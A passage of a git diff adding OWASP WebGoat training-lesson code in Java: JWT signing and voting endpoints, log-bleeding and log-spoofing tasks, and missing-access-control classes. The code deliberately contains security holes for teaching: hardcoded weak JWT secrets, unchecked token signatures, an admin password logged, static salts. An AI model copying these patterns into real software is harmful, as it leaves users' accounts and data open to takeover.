"Project Administrator"}) + .signWith(SignatureAlgorithm.HS256, JWT_SECRET) + .compact(); + } + + @PostMapping("/JWT/secret") + @ResponseBody + public AttackResult login(@RequestParam String token) { + try { + Jwt jwt = Jwts.parser().setSigningKey(JWT_SECRET).parseClaimsJws(token); + Claims claims = (Claims) jwt.getBody(); + if (!claims.keySet().containsAll(expectedClaims)) { + return failed(this).feedback("jwt-secret-claims-missing").build(); + } else { + String user = (String) claims.get("username"); + + if (WEBGOAT_USER.equalsIgnoreCase(user)) { + return success(this).build(); + } else { + return failed(this).feedback("jwt-secret-incorrect-user").feedbackArgs(user).build(); + } + } + } catch (Exception e) { + return failed(this).feedback("jwt-invalid-token").output(e.getMessage()).build(); + } + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/jwt/JWTVotesEndpoint.java b/src/main/java/org/owasp/webgoat/lessons/jwt/JWTVotesEndpoint.java new file mode 100644 index 000000000..632449822 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/jwt/JWTVotesEndpoint.java @@ -0,0 +1,221 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.jwt; + +import static java.util.Comparator.comparingLong; +import static java.util.Optional.ofNullable; +import static java.util.stream.Collectors.toList; + +import io.jsonwebtoken.Claims; +import io.jsonwebtoken.Jwt; +import io.jsonwebtoken.JwtException; +import io.jsonwebtoken.Jwts; +import io.jsonwebtoken.impl.TextCodec; +import java.time.Duration; +import java.time.Instant; +import java.util.Date; +import java.util.HashMap; +import java.util.Map; +import javax.annotation.PostConstruct; +import javax.servlet.http.Cookie; +import javax.servlet.http.HttpServletResponse; +import org.apache.commons.lang3.StringUtils; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AssignmentHints; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.owasp.webgoat.lessons.jwt.votes.Views; +import org.owasp.webgoat.lessons.jwt.votes.Vote; +import org.springframework.http.HttpStatus; +import org.springframework.http.MediaType; +import org.springframework.http.ResponseEntity; +import org.springframework.http.converter.json.MappingJacksonValue; +import org.springframework.web.bind.annotation.CookieValue; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PathVariable; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.ResponseStatus; +import org.springframework.web.bind.annotation.RestController; + +/** + * @author nbaars + * @since 4/23/17. + */ +@RestController +@AssignmentHints({ + "jwt-change-token-hint1", + "jwt-change-token-hint2", + "jwt-change-token-hint3", + "jwt-change-token-hint4", + "jwt-change-token-hint5" +}) +public class JWTVotesEndpoint extends AssignmentEndpoint { + + public static final String JWT_PASSWORD = TextCodec.BASE64.encode("victory"); + private static String validUsers = "TomJerrySylvester"; + + private static int totalVotes = 38929; + private Map votes = new HashMap<>(); + + @PostConstruct + public void initVotes() { + votes.put( + "Admin lost password", + new Vote( + "Admin lost password", + "In this challenge you will need to help the admin and find the password in order to" + + " login", + "challenge1-small.png", + "challenge1.png", + 36000, + totalVotes)); + votes.put( + "Vote for your favourite", + new Vote( + "Vote for your favourite", + "In this challenge ...", + "challenge5-small.png", + "challenge5.png", + 30000, + totalVotes)); + votes.put( + "Get it for free", + new Vote( + "Get it for free", + "The objective for this challenge is to buy a Samsung phone for free.", + "challenge2-small.png", + "challenge2.png", + 20000, + totalVotes)); + votes.put( + "Photo comments", + new Vote( + "Photo comments", + "n this challenge you can comment on the photo you will need to find the flag" + + " somewhere.", + "challenge3-small.png", + "challenge3.png", + 10000, + totalVotes)); + } + + @GetMapping("/JWT/votings/login") + public void login(@RequestParam("user") String user, HttpServletResponse response) { + if (validUsers.contains(user)) { + Claims claims = Jwts.claims().setIssuedAt(Date.from(Instant.now().plus(Duration.ofDays(10)))); + claims.put("admin", "false"); + claims.put("user", user); + String token = + Jwts.builder() + .setClaims(claims) + .signWith(io.jsonwebtoken.SignatureAlgorithm.HS512, JWT_PASSWORD) + .compact(); + Cookie cookie = new Cookie("access_token", token); + response.addCookie(cookie); + response.setStatus(HttpStatus.OK.value()); + response.setContentType(MediaType.APPLICATION_JSON_VALUE); + } else { + Cookie cookie = new Cookie("access_token", ""); + response.addCookie(cookie); + response.setStatus(HttpStatus.UNAUTHORIZED.value()); + response.setContentType(MediaType.APPLICATION_JSON_VALUE); + } + } + + @GetMapping("/JWT/votings") + @ResponseBody + public MappingJacksonValue getVotes( + @CookieValue(value = "access_token", required = false) String accessToken) { + MappingJacksonValue value = + new MappingJacksonValue( + votes.values().stream() + .sorted(comparingLong(Vote::getAverage).reversed()) + .collect(toList())); + if (StringUtils.isEmpty(accessToken)) { + value.setSerializationView(Views.GuestView.class); + } else { + try { + Jwt jwt = Jwts.parser().setSigningKey(JWT_PASSWORD).parse(accessToken); + Claims claims = (Claims) jwt.getBody(); + String user = (String) claims.get("user"); + if ("Guest".equals(user) || !validUsers.contains(user)) { + value.setSerializationView(Views.GuestView.class); + } else { + value.setSerializationView(Views.UserView.class); + } + } catch (JwtException e) { + value.setSerializationView(Views.GuestView.class); + } + } + return value; + } + + @PostMapping(value = "/JWT/votings/{title}") + @ResponseBody + @ResponseStatus(HttpStatus.ACCEPTED) + public ResponseEntity vote( + @PathVariable String title, + @CookieValue(value = "access_token", required = false) String accessToken) { + if (StringUtils.isEmpty(accessToken)) { + return ResponseEntity.status(HttpStatus.UNAUTHORIZED).build(); + } else { + try { + Jwt jwt = Jwts.parser().setSigningKey(JWT_PASSWORD).parse(accessToken); + Claims claims = (Claims) jwt.getBody(); + String user = (String) claims.get("user"); + if (!validUsers.contains(user)) { + return ResponseEntity.status(HttpStatus.UNAUTHORIZED).build(); + } else { + ofNullable(votes.get(title)).ifPresent(v -> v.incrementNumberOfVotes(totalVotes)); + return ResponseEntity.accepted().build(); + } + } catch (JwtException e) { + return ResponseEntity.status(HttpStatus.UNAUTHORIZED).build(); + } + } + } + + @PostMapping("/JWT/votings") + @ResponseBody + public AttackResult resetVotes( + @CookieValue(value = "access_token", required = false) String accessToken) { + if (StringUtils.isEmpty(accessToken)) { + return failed(this).feedback("jwt-invalid-token").build(); + } else { + try { + Jwt jwt = Jwts.parser().setSigningKey(JWT_PASSWORD).parse(accessToken); + Claims claims = (Claims) jwt.getBody(); + boolean isAdmin = Boolean.valueOf(String.valueOf(claims.get("admin"))); + if (!isAdmin) { + return failed(this).feedback("jwt-only-admin").build(); + } else { + votes.values().forEach(vote -> vote.reset()); + return success(this).build(); + } + } catch (JwtException e) { + return failed(this).feedback("jwt-invalid-token").output(e.toString()).build(); + } + } + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/jwt/votes/Views.java b/src/main/java/org/owasp/webgoat/lessons/jwt/votes/Views.java new file mode 100644 index 000000000..cc600318c --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/jwt/votes/Views.java @@ -0,0 +1,11 @@ +package org.owasp.webgoat.lessons.jwt.votes; + +/** + * @author nbaars + * @since 4/30/17. + */ +public class Views { + public interface GuestView {} + + public interface UserView extends GuestView {} +} diff --git a/src/main/java/org/owasp/webgoat/lessons/jwt/votes/Vote.java b/src/main/java/org/owasp/webgoat/lessons/jwt/votes/Vote.java new file mode 100644 index 000000000..2d065df53 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/jwt/votes/Vote.java @@ -0,0 +1,83 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.jwt.votes; + +import com.fasterxml.jackson.annotation.JsonView; +import lombok.Getter; + +/** + * @author nbaars + * @since 5/2/17. + */ +@Getter +public class Vote { + @JsonView(Views.GuestView.class) + private final String title; + + @JsonView(Views.GuestView.class) + private final String information; + + @JsonView(Views.GuestView.class) + private final String imageSmall; + + @JsonView(Views.GuestView.class) + private final String imageBig; + + @JsonView(Views.UserView.class) + private int numberOfVotes; + + @JsonView(Views.UserView.class) + private boolean votingAllowed = true; + + @JsonView(Views.UserView.class) + private long average = 0; + + public Vote( + String title, + String information, + String imageSmall, + String imageBig, + int numberOfVotes, + int totalVotes) { + this.title = title; + this.information = information; + this.imageSmall = imageSmall; + this.imageBig = imageBig; + this.numberOfVotes = numberOfVotes; + this.average = calculateStars(totalVotes); + } + + public void incrementNumberOfVotes(int totalVotes) { + this.numberOfVotes = this.numberOfVotes + 1; + this.average = calculateStars(totalVotes); + } + + public void reset() { + this.numberOfVotes = 1; + this.average = 1; + } + + private long calculateStars(int totalVotes) { + return Math.round(((double) numberOfVotes / (double) totalVotes) * 4); + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/lessontemplate/LessonTemplate.java b/src/main/java/org/owasp/webgoat/lessons/lessontemplate/LessonTemplate.java new file mode 100644 index 000000000..20fd1f293 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/lessontemplate/LessonTemplate.java @@ -0,0 +1,41 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.lessontemplate; + +import org.owasp.webgoat.container.lessons.Category; +import org.owasp.webgoat.container.lessons.Lesson; +import org.springframework.stereotype.Component; + +@Component +public class LessonTemplate extends Lesson { + + @Override + public Category getDefaultCategory() { + return Category.GENERAL; + } + + @Override + public String getTitle() { + return "lesson-template.title"; + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/lessontemplate/SampleAttack.java b/src/main/java/org/owasp/webgoat/lessons/lessontemplate/SampleAttack.java new file mode 100644 index 000000000..22a028490 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/lessontemplate/SampleAttack.java @@ -0,0 +1,91 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.lessontemplate; + +import java.util.List; +import lombok.AllArgsConstructor; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AssignmentHints; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.owasp.webgoat.container.session.UserSessionData; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PathVariable; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +/** Created by jason on 1/5/17. */ +@RestController +@AssignmentHints({"lesson-template.hints.1", "lesson-template.hints.2", "lesson-template.hints.3"}) +public class SampleAttack extends AssignmentEndpoint { + + String secretValue = "secr37Value"; + + // UserSessionData is bound to session and can be used to persist data across multiple assignments + @Autowired UserSessionData userSessionData; + + @PostMapping("/lesson-template/sample-attack") + @ResponseBody + public AttackResult completed( + @RequestParam("param1") String param1, @RequestParam("param2") String param2) { + if (userSessionData.getValue("some-value") != null) { + // do any session updating you want here ... or not, just comment/example here + // return failed().feedback("lesson-template.sample-attack.failure-2").build()); + } + + // overly simple example for success. See other existing lesssons for ways to detect 'success' + // or 'failure' + if (secretValue.equals(param1)) { + return success(this) + .output("Custom Output ...if you want, for success") + .feedback("lesson-template.sample-attack.success") + .build(); + // lesson-template.sample-attack.success is defined in + // src/main/resources/i18n/WebGoatLabels.properties + } + + // else + return failed(this) + .feedback("lesson-template.sample-attack.failure-2") + .output( + "Custom output for this failure scenario, usually html that will get rendered directly" + + " ... yes, you can self-xss if you want") + .build(); + } + + @GetMapping("lesson-template/shop/{user}") + @ResponseBody + public List getItemsInBasket(@PathVariable("user") String user) { + return List.of( + new Item("WG-1", "WebGoat promo", 12.0), new Item("WG-2", "WebGoat sticker", 0.00)); + } + + @AllArgsConstructor + private class Item { + private String number; + private String description; + private double price; + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/logging/LogBleedingTask.java b/src/main/java/org/owasp/webgoat/lessons/logging/LogBleedingTask.java new file mode 100644 index 000000000..710f22f1a --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/logging/LogBleedingTask.java @@ -0,0 +1,66 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.logging; + +import java.nio.charset.StandardCharsets; +import java.util.Base64; +import java.util.UUID; +import javax.annotation.PostConstruct; +import org.apache.logging.log4j.util.Strings; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +@RestController +public class LogBleedingTask extends AssignmentEndpoint { + + Logger log = LoggerFactory.getLogger(this.getClass().getName()); + private String password; + + @PostConstruct + public void generatePassword() { + password = UUID.randomUUID().toString(); + log.info( + "Password for admin: {}", + Base64.getEncoder().encodeToString(password.getBytes(StandardCharsets.UTF_8))); + } + + @PostMapping("/LogSpoofing/log-bleeding") + @ResponseBody + public AttackResult completed(@RequestParam String username, @RequestParam String password) { + if (Strings.isEmpty(username) || Strings.isEmpty(password)) { + return failed(this).output("Please provide username (Admin) and password").build(); + } + + if (username.equals("Admin") && password.equals(this.password)) { + return success(this).build(); + } + + return failed(this).build(); + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/logging/LogSpoofing.java b/src/main/java/org/owasp/webgoat/lessons/logging/LogSpoofing.java new file mode 100644 index 000000000..b92d05572 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/logging/LogSpoofing.java @@ -0,0 +1,48 @@ +package org.owasp.webgoat.lessons.logging; + +import org.owasp.webgoat.container.lessons.Category; +import org.owasp.webgoat.container.lessons.Lesson; +import org.springframework.stereotype.Component; + +/** + * ************************************************************************************************ + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, + * please see http://www.owasp.org/ + * + *

Copyright (c) 2002 - 2014 Bruce Mayhew + * + *

This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + *

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; + * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + *

You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + *

Getting Source ============== + * + *

Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository + * for free software projects. + * + *

+ * + * @author WebGoat + * @version $Id: $Id + * @since October 12, 2016 + */ +@Component +public class LogSpoofing extends Lesson { + @Override + public Category getDefaultCategory() { + return Category.A9; + } + + @Override + public String getTitle() { + return "logging.title"; + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/logging/LogSpoofingTask.java b/src/main/java/org/owasp/webgoat/lessons/logging/LogSpoofingTask.java new file mode 100644 index 000000000..0fe3b3559 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/logging/LogSpoofingTask.java @@ -0,0 +1,51 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.logging; + +import org.apache.logging.log4j.util.Strings; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +@RestController +public class LogSpoofingTask extends AssignmentEndpoint { + + @PostMapping("/LogSpoofing/log-spoofing") + @ResponseBody + public AttackResult completed(@RequestParam String username, @RequestParam String password) { + if (Strings.isEmpty(username)) { + return failed(this).output(username).build(); + } + username = username.replace("\n", "
"); + if (username.contains("

") || username.contains("

")) { + return failed(this).output("Try to think of something simple ").build(); + } + if (username.indexOf("
") < username.indexOf("admin")) { + return success(this).output(username).build(); + } + return failed(this).output(username).build(); + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/missingac/DisplayUser.java b/src/main/java/org/owasp/webgoat/lessons/missingac/DisplayUser.java new file mode 100644 index 000000000..90eb06c8d --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/missingac/DisplayUser.java @@ -0,0 +1,62 @@ +package org.owasp.webgoat.lessons.missingac; + +import java.nio.charset.StandardCharsets; +import java.security.MessageDigest; +import java.util.Base64; +import lombok.Getter; + +/** + * ************************************************************************************************ + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, + * please see http://www.owasp.org/ + * + *

Copyright (c) 2002 - 2014 Bruce Mayhew + * + *

This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + *

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; + * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + *

You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + *

Getting Source ============== + * + *

Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository + * for free software projects. + * + *

+ */ +@Getter +public class DisplayUser { + // intended to provide a display version of WebGoatUser for admins to view user attributes + + private String username; + private boolean admin; + private String userHash; + + public DisplayUser(User user, String passwordSalt) { + this.username = user.getUsername(); + this.admin = user.isAdmin(); + + try { + this.userHash = genUserHash(user.getUsername(), user.getPassword(), passwordSalt); + } catch (Exception ex) { + this.userHash = "Error generating user hash"; + } + } + + protected String genUserHash(String username, String password, String passwordSalt) + throws Exception { + MessageDigest md = MessageDigest.getInstance("SHA-256"); + // salting is good, but static & too predictable ... short too for a salt + String salted = password + passwordSalt + username; + // md.update(salted.getBytes("UTF-8")); // Change this to "UTF-16" if needed + byte[] hash = md.digest(salted.getBytes(StandardCharsets.UTF_8)); + return Base64.getEncoder().encodeToString(hash); + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/missingac/MissingAccessControlUserRepository.java b/src/main/java/org/owasp/webgoat/lessons/missingac/MissingAccessControlUserRepository.java new file mode 100644 index 000000000..584542928 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/missingac/MissingAccessControlUserRepository.java @@ -0,0 +1,49 @@ +package org.owasp.webgoat.lessons.missingac; + +import java.util.List; +import org.owasp.webgoat.container.LessonDataSource; +import org.springframework.jdbc.core.RowMapper; +import org.springframework.jdbc.core.namedparam.MapSqlParameterSource; +import org.springframework.jdbc.core.namedparam.NamedParameterJdbcTemplate; +import org.springframework.stereotype.Component; +import org.springframework.util.CollectionUtils; + +@Component +public class MissingAccessControlUserRepository { + + private final NamedParameterJdbcTemplate jdbcTemplate; + private final RowMapper mapper = + (rs, rowNum) -> + new User(rs.getString("username"), rs.getString("password"), rs.getBoolean("admin")); + + public MissingAccessControlUserRepository(LessonDataSource lessonDataSource) { + this.jdbcTemplate = new NamedParameterJdbcTemplate(lessonDataSource); + } + + public List findAllUsers() { + return jdbcTemplate.query("select username, password, admin from access_control_users", mapper); + } + + public User findByUsername(String username) { + var users = + jdbcTemplate.query( + "select username, password, admin from access_control_users where username=:username", + new MapSqlParameterSource().addValue("username", username), + mapper); + if (CollectionUtils.isEmpty(users)) { + return null; + } + return users.get(0); + } + + public User save(User user) { + jdbcTemplate.update( + "INSERT INTO access_control_users(username, password, admin)" + + " VALUES(:username,:password,:admin)", + new MapSqlParameterSource() + .addValue("username", user.getUsername()) + .addValue("password", user.getPassword()) + .addValue("admin", user.isAdmin())); + return user; + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/missingac/MissingFunctionAC.java b/src/main/java/org/owasp/webgoat/lessons/missingac/MissingFunctionAC.java new file mode 100644 index 000000000..46323aca2 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/missingac/MissingFunctionAC.java @@ -0,0 +1,44 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.missingac; + +import org.owasp.webgoat.container.lessons.Category; +import org.owasp.webgoat.container.lessons.Lesson; +import org.springframework.stereotype.Component; + +@Component +public class MissingFunctionAC extends Lesson { + + public static final String PASSWORD_SALT_SIMPLE = "DeliberatelyInsecure1234"; + public static final String PASSWORD_SALT_ADMIN = "DeliberatelyInsecure1235"; + + @Override + public Category getDefaultCategory() { + return Category.A1; + } + + @Override + public String getTitle() { + return "missing-function-access-control.title"; + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/missingac/MissingFunctionACHiddenMenus.java b/src/main/java/org/owasp/webgoat/lessons/missingac/MissingFunctionACHiddenMenus.java new file mode 100644 index 000000000..8cf11a6fb --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/missingac/MissingFunctionACHiddenMenus.java @@ -0,0 +1,56 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.missingac; + +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AssignmentHints; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +/** Created by jason on 1/5/17. */ +@RestController +@AssignmentHints({ + "access-control.hidden-menus.hint1", + "access-control.hidden-menus.hint2", + "access-control.hidden-menus.hint3" +}) +public class MissingFunctionACHiddenMenus extends AssignmentEndpoint { + + @PostMapping( + path = "/access-control/hidden-menu", + produces = {"application/json"}) + @ResponseBody + public AttackResult completed(String hiddenMenu1, String hiddenMenu2) { + if (hiddenMenu1.equals("Users") && hiddenMenu2.equals("Config")) { + return success(this).output("").feedback("access-control.hidden-menus.success").build(); + } + + if (hiddenMenu1.equals("Config") && hiddenMenu2.equals("Users")) { + return failed(this).output("").feedback("access-control.hidden-menus.close").build(); + } + + return failed(this).feedback("access-control.hidden-menus.failure").output("").build(); + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/missingac/MissingFunctionACUsers.java b/src/main/java/org/owasp/webgoat/lessons/missingac/MissingFunctionACUsers.java new file mode 100644 index 000000000..0bbf9d68d --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/missingac/MissingFunctionACUsers.java @@ -0,0 +1,114 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.missingac; + +import static org.owasp.webgoat.lessons.missingac.MissingFunctionAC.PASSWORD_SALT_ADMIN; +import static org.owasp.webgoat.lessons.missingac.MissingFunctionAC.PASSWORD_SALT_SIMPLE; + +import java.util.ArrayList; +import java.util.List; +import java.util.stream.Collectors; +import lombok.AllArgsConstructor; +import lombok.extern.slf4j.Slf4j; +import org.owasp.webgoat.container.session.WebSession; +import org.springframework.http.HttpStatus; +import org.springframework.http.ResponseEntity; +import org.springframework.stereotype.Controller; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.servlet.ModelAndView; + +/** Created by jason on 1/5/17. */ +@Controller +@AllArgsConstructor +@Slf4j +public class MissingFunctionACUsers { + + private final MissingAccessControlUserRepository userRepository; + private final WebSession webSession; + + @GetMapping(path = {"access-control/users"}) + public ModelAndView listUsers() { + + ModelAndView model = new 